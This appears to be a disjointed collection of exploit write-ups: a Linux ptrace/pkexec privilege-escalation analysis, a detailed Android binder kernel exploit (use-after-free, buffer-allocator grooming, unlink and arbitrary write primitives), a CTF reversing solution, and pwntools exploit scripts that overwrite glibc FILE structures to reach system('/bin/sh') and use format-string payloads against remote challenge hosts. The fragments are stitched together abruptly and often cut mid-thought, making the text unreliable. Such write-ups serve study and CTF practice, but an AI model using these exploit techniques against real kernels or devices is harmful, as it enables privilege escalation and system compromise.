First of all, the process A calls ptrace with PTRACE_TRACEME. Process B attaches process A and later A invokes execve('passwd'). Since A is supposed to become a privileged process because of executing a suid binary, will process B gets elevated privilege in order to trace process A?
Obviously the kernel won’t allow this kind of request. Let’s take a look at ptrace_traceme:
/** * ptrace_traceme -- helper for PTRACE_TRACEME * * Performs checks and sets PT_PTRACED. * Should be used by all ptrace implementations for PTRACE_TRACEME. */ staticintptrace_traceme(void) { int ret = -EPERM;
write_lock_irq(&tasklist_lock); /* Are we already being traced? */ if (!current->ptrace) { ret = security_ptrace_traceme(current->parent); /* * Check PF_EXITING to ensure ->real_parent has not passed * exit_ptrace(). Otherwise we don't report the error but * pretend ->real_parent untraces us right after return. */ if (!ret && !(current->real_parent->flags & PF_EXITING)) { current->ptrace = PT_PTRACED; ptrace_link(current, current->real_parent); } } write_unlock_irq(&tasklist_lock);
return ret; }
ptrace_link gets parent’s cred from RCU and invokes internal function __ptrace_link:
When execve syscall is invoked while the process is being traced(current->ptrace == PT_PTRACED), Linux kernel calls ptracer_capable from cap_bprm_set_creds for security check:
/** * ptracer_capable - Determine if the ptracer holds CAP_SYS_PTRACE in the namespace * @tsk: The task that may be ptraced * @ns: The user namespace to search for CAP_SYS_PTRACE in * * Return true if the task that is ptracing the current task had CAP_SYS_PTRACE * in the specified user namespace. */ boolptracer_capable(struct task_struct *tsk, struct user_namespace *ns) { int ret = 0; /* An absent tracer adds no restrictions */ conststructcred *cred;
rcu_read_lock(); cred = rcu_dereference(tsk->ptracer_cred); if (cred) ret = security_capable(cred, ns, CAP_SYS_PTRACE, CAP_OPT_NOAUDIT); rcu_read_unlock(); return (ret == 0); }
In short, if the tracer is a not a privileged user(tracee->ptracer_cred), the tracee cannot be elevated as a privileged task. At this point, the design of ptracer_cred looks very nice and secure^^
One last loose end
Debian has a weird binary called pkexec. If pkexec is executed without --user argument, the binary will run as root since it has suid. However, when --user argument exists, pkexec will voluntarily drops privilege by setuid.
The ptracer_cred could be privileged when a child process is being debugged by the parent which invokes execve(pkexec --user). After the child process invokes execve(passwd), the child process is privileged. Now, the parent process calls setresuid to drop its privileges. However, the unprivileged parent process is still able to trace privileged child since ptracer_cred remains privileged, which leads to EoP.
/** * __put_cred - Destroy a set of credentials * @cred: The record to release * * Destroy a set of credentials on which no references remain. */ void __put_cred(struct cred *cred) { kdebug("__put_cred(%p{%d,%d})", cred, atomic_read(&cred->usage), read_cred_subscribers(cred));
An integer overflow bug can be triggered while parsing a corrupted PE structure. To hijack the program control flow, the general idea is to convert the integer overflow vulnerability into an arbitrary heap overwrite primitive.
''' [*] Switching to interactive mode $ $ ls bin dev flag lib lib32 lib64 loader $ cat flag flag{ACB58CFDAEF1CC91EAC90D6B2309304E} '''
p.interactive()
if __name__ == '__main__': if len(sys.argv) == 1: p = process(executable=BIN_PATH, argv=[BIN_PATH], env={'LD_PRELOAD': LIBC_PATH}) else: p = remote('119.3.81.43', 2399)
To communicate with binder driver, the userspace program needs to serialize data into binder_io structure. There are various APIs such as bio_init, bio_put_string16_x, bio_alloc for allocating memory and serializing data:
Offset buffer: containing aforementioned offset0, offset1 and offset2 data which points to the structures in the data buffer accordingly.
Extra buffer: depends on the type of the binder object, the userspace data in the data buffer might be copied into the extra buffer located in the shared kernel space. Take BINDER_TYPE_PTR as an example, the data in binder_object.bbo->buffer will be copied into the extra buffer.
2.2.2 parent / parent_offset
The parent and parent_offset allows binder to patch a pointer inside of a parent buffer:
Source code for handling BINDER_TYPE_PTR is here. The BINDER_TYPE_PTR needs to be verified by binder_validate_ptr and binder_validate_fixup before patching.
2.2.3 validation: binder_validate_ptr
binder_fixup_parent validates offset buffer by binder_validate_ptr:
In other words, an invalid offset will be automatically rejected by binder:
If everything looks good, binder_validate_ptr will get the offset of the parent data buffer and parent binder_buffer_object.
2.2.4 validation: binder_validate_fixup
If one of the following rules is met, binder_validate_fixup returns true:
Allowing fixup inside a buffer to happen at increasing offsets.
Allowing fixup on the last buffer object that was verified, or one of its parents.
Once an object is verified for patch, the last_obj_offset is updated to the current verified object. For the below case, the binder transaction buffer is valid when z > y > x:
The following scenario is also valid if z > y > x:
As the num_valid is calculated incorrectly, binder_validate_ptr now fails to do range check properly. Therefore, the buffer_offset may exist in the uninitialized extra buffer:
When validating object D, the parent index offset B is overwritten to A in the extra buffer. When binder_validate_fixup is invoked, the buffer_obj_offset still points to same index which is mistakenly considered as the stale offset B. Since last_obj_offset == buffer_obj_offset, the binder_validate_fixup is successfully bypassed:
binder_alloc_copy_to_buffer only allows for patching inside of the current transaction buffer. If the buffer_offset is out of the current transaction buffer, the kernel triggers BUG_ON:
Admittedly, the exploit is able to control bp->parent_offset and parent->buffer (mapped by /dev/binder mapped). However, it seems that b->user_data is not easy to calculate unless the exploit is able to manipulate the memory management of the transaction buffer allocator.
Context manager doesn’t allow an unprivileged application to register services. However, an unprivileged application could talk to android.hidl.manager@1.0::IServiceManager in /dev/hwbinder domain for registering a sub-service by android.hidl.token@1.0::ITokenManager.
By communicating the service registered by itself, the application is able to fetch a handle on behalf of the service locally. As a result, the exploit code is able to control two separate kinds of tasks: “client” & “server”:
4.2 Tricks on binder buffer allocator
One of the problems in exploiting the vulnerability is to control the aforementioned b->user_data. Although the transaction buffer is on the binder mapped memory, the exploit code needs to know the value of b->user_data in order to craft parent->buffer. Consequently, the exploit code needs to manipulate the binder_buffer memory management mechanism:
When RESERVE_BUFFER command is executed, tr->data.ptr.buffer is intentionally not freed for avoiding forward consolidation. The below buffer with size 127*1024 is “reserved” for sending corrupted transaction buffer:
As a result, the proc->free_buffers becomes:
Because the best fit allocation policy is adopted, the exploit code is able to guarantee that the b->user_data equals bs->mapped.
4.3 Create a fake node
The EXCHANGE_HANDLES command creates a fake node by bio_put_obj(reply, bs->mapped + 0xe8); and sends to the client thread. 0xe8 is an offset which will be discussed later in the information leak section.
The GET_VMA_START command sends bs->mapped to the client side which will be used later for crafting corrupted binder transaction buffer.
4.4 Setup pending fake nodes
The exploit code sets up 0x40 pending nodes by ONE_WAY transaction (async):
Fake node info:
Later on, pending_node_free is called for sending crafted corrupted binder transaction buffer and triggering UAF.
5. Exploit - Leak targeted node & file
5.1 Craft Corrupted Binder Transaction Buffer
The goal of UAF is to prematurely release the fake node by manipulating the reference count. The object B doesn’t have the offset buffer accordingly, but it will be patched later due to the num_valid bug(of course, directly patch the object doesn’t work because you’re patching a copy):
Before object D is parsed, the object C successfully patches object B:
However, when object D copies its userspace data to the kernel extra buffer, the offset B in the uninitialized extra buffer is now overwritten to the unverified object A:
Since parent->buffer == b->user_data, the bs->mapped + bp->parent_offset will be overwritten to the starting address of the extra buffer D which happens to be the fake node bs->mapped + 0xe8:
Before patching the BINDER_TYPE_HANDLE object:
1 2 3 4 5 6 7 8 9 10 11 12 13
gdb-peda$ p *(struct flat_binder_object*) b->user_data $8 = { hdr = { type = 0x73622a85 (BINDER_TYPE_HANDLE is automatically translated to BINDER_TYPE_BINDER) }, flags = 0x0, { binder = 0x42, handle = 0x42 }, cookie = 0x0 } gdb-peda$
After patching, flat_binder_object.binder now points to the fake invalid node:
When binder_transaction_buffer_release is called after the transaction is completed, binder attempts to decrease the reference count for the fake node:
As a result, the exploit code can just send multiple corrupted binder transactions to prematurely release the fake node, which essentially leads to UAF. The binder_thread_read will leak ptr and cookie from the UAF node:
For instance, here is the relationship between epitem and file after creating epitem0, epitem1 and epitem2 structures consequently:
Close epitem2 as well as epitem1 consequently and read leaked data(target.ptr/cookie) from the pending transaction queue, the exploit code can safely obtain the address of the file structure:
5.4 Leak UAF node address
Implement a similar trick described in 5.3 by creating another UAF binder node, the fdlink now becomes:
Hence, the address of UAF node can be obtained (e.g. epitem0.fdlink.next - 0x58).
6. Exploit - Write Primitive(unlink)
6.1 binder_dec_node_nilocked
binder_dec_node_nilocked is invoked by binder_dec_node(node, hdr->type == BINDER_TYPE_BINDER, 0):
staticint ___sys_sendmsg(...) { ... if (ctl_len > sizeof(ctl)) { ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL); if (ctl_buf == NULL) goto out_freeiov; } err = -EFAULT; /* * Careful! Before this, msg_sys->msg_control contains a user pointer. * Afterwards, it will be a kernel pointer. Thus the compiler-assisted * checking falls down on this. */ if (copy_from_user(ctl_buf, (void __user __force *)msg_sys->msg_control, ctl_len)) goto out_freectl; msg_sys->msg_control = ctl_buf; } ... }
6.3 Unlink by __hlist_del
Once the UAF node is hold by sendmmsg and properly crafted (e.g. free used epitem before spraying), the exploit code will trigger hlist_del in binder_dec_node_nilocked:
Well, as you can see, if KASLR is enabled, it may actually help us bypass security_file_ioctl check with good chance :)
7.4 Tweak offsets
The padding scheme may not always be consistent among various versions of the gcc compiler. In my case, the arbitrary read becomes node_write8(write8_inode, file->kaddr + **116** - 40, ...):
Finally, pipefs_ops can be successfully leaked via do_vfs_ioctl:
8. Exploit - Arbitrary Write
Since we have the arbitrary read & unlink primitives, we can set up /proc/sys/aaa_rand to achieve arbitrary write by injecting sysctl node with the following procedures:
PTRACE_SYSEMU: raise SIGTRAP whenever a syscall is about to executed, but it will not actually execute the syscall.
Similar to some Windows RE challenges which redirect control flow by SEH/VEH, the child process debugs the parent process by ptrace. The child process handles syscall and signals such as SIGINT, SIGTERM and SIGQUIT:
Well, in some cases the child process also generates segment fault, so the grandchild process will take care of the child process. For solving the first part of the flag, the key is to get the correct value of -nice(0xA5). However, invoking nice in glibc doesn’t lead to the nice syscall:
/* Increment the scheduling priority of the calling process by INCR. The superuser may use a negative INCR to decrement the priority. */ int nice (int incr) { int save; int prio; int result; /* -1 is a valid priority, so we use errno to check for an error. */ save = errno; __set_errno (0); prio = __getpriority (PRIO_PROCESS, 0); if (prio == -1) { if (errno != 0) return-1; } result = __setpriority (PRIO_PROCESS, 0, prio + incr); if (result == -1) { if (errno == EACCES) __set_errno (EPERM); return-1; } __set_errno (save); return __getpriority (PRIO_PROCESS, 0); }
Phrase 2
Modified AES & Feistel
Feistel structure can be trivially reversed:
DO NOT TRUST IDA F5
Although IDA doesn’t suggest any loops, MEMORY[0](&loc_804C3C4, &i); creates a loop in f_enc_flag because of SIGSEGV:
definit(crc64): init_result = [] for _ in range(16): x = crc64 & 0xFFFFFFFF# [7] y = (crc64 >> 32) & 0xFFFFFFFF# [19] z = (mlockall(crc64) / 2) & 0xFFFFFFFF# [41] k = crc64 & 1 crc64 >>= 1 if k: crc64 ^= uname() init_result.append((x, y, z)) return init_result#x, y, z
defdec_flag_round(payload, crc64): init_result = init(crc64) d_04 = payload[1] d_48 = payload[0] result = [(d_04, d_48)] for i in range(16): init_result_tuple = init_result[15 - i] d_48, d_04 = d_04, (d_48 ^ chmod(init_result_tuple[0], init_result_tuple[1], init_result_tuple[2], d_04)) return (d_04, d_48)
key0 = f_dec(0xA4).split('\x00')[0] # 0xA4 # This string has no purpose and is merely here to waste your time. crc64 = cal_crc64(key0, len(key0)) print key0 print hex(crc64)
encrypted_payload = [] for i in range(40000 / 4): encrypted_payload.append(Dword(0x804C640 + 4 * i))
First, to leak libc information, clear the LSB of _IO_read_end and _IO_write_base to zero. Second, overwrite clear the LSB of _IO_2_1_stdin_->_IO_buf_base, so we can overwrite _IO_2_1_stdin_ by input. Third, overwrite IO_2_1_stdin_->_IO_read_ptr to stdin+0x50 and make sure _IO_read_ptr >= _IO_read_end after reading the user input:
1 2 3 4 5 6 7 8 9 10 11 12 13
payload = p64(0xfbad208b) payload += p64(stdin+0x50) # _IO_read_ptr 0x8 # Make sure fp->_IO_read_ptr >= fp->_IO_read_end after reading # It's a bit guessy as it's not easy to know how _IO_read_end will be counted after this overwrite # -0x10: by debugging payload += p64(stdin-0x10) # _IO_read_end 0x10 payload += p64(stdin+0x50) # _IO_read_base 0x18 payload += p64(stdin+0x50) * 3# write 0x20 payload += p64(dl_load_lock) # _IO_buf_base 0x38 payload += p64(dl_load_lock + 0x1000) # _IO_buf_end 0x40 payload += p64(0) payload += user_input payload += p64(0)*4
Thus, glibc will write user input on _IO_buf_base which is already tampered to dl_load_lock: dl_rtld_lock_recursive(dl_load_lock) == system('/bin/sh\x00').
defview(day): p.recvuntil('1. Yes\n0. No\n>> ') p.sendline('1') p.recv() p.sendline(str(day)) p.recvuntil('-> Do you want to keep going??\n0. Exit\n1. Continue\n') p.sendline('1')
defexploit(): p.recvuntil('Please enter your name(up to 8 bytes): \n>> ') p.sendline('a') p.recvuntil('-> Please enter your age(up to 3 bytes.For example, 035->35 years old): \n>> ') p.sendline('a')
for i in range(49): fill_vital_sign(0, True) #, 'A'*5) view(1) ''' Python>hex(0x603140 + 0x8 + 0x30*48) 0x603a48: day -> 0x31 0x603a50: func pointer 0x603a58-0x603a68: buf 0x603a70: data2 0x603a78: rand gdb-peda$ x/10gx 0x603a50-0x8 0x603a48 <ObjPersonData+2312>: 0x0000000000000031 0x0000000000400fe4 <- day 0x31 0x603a58 <ObjPersonData+2328>: 0x0000000000000a61 0x0000000000000a61 0x603a68 <ObjPersonData+2344>: 0x0000000000603a50 0x0000000000000000 0x603a78 <ObjPersonData+2360>: 0x0000000000000000 0x0000000000000000 0x603a88 <ObjPersonData+2376>: 0x0000000000000000 0x0000000000000000 ''' # Overwrite item day 49. Overwrite function pointer to printf. payload = p64(0x400980) payload += 'C:%19$pL:%27$p'.ljust(16, '\x00') payload += p64(0x603a58) print hexdump(payload)
if __name__ == '__main__': if len(sys.argv) == 1: p = process(executable=BIN_PATH, argv=[BIN_PATH], env={'LD_PRELOAD': LIBC_PATH}) else: p = remote('chall.pwnable.tw', 10001)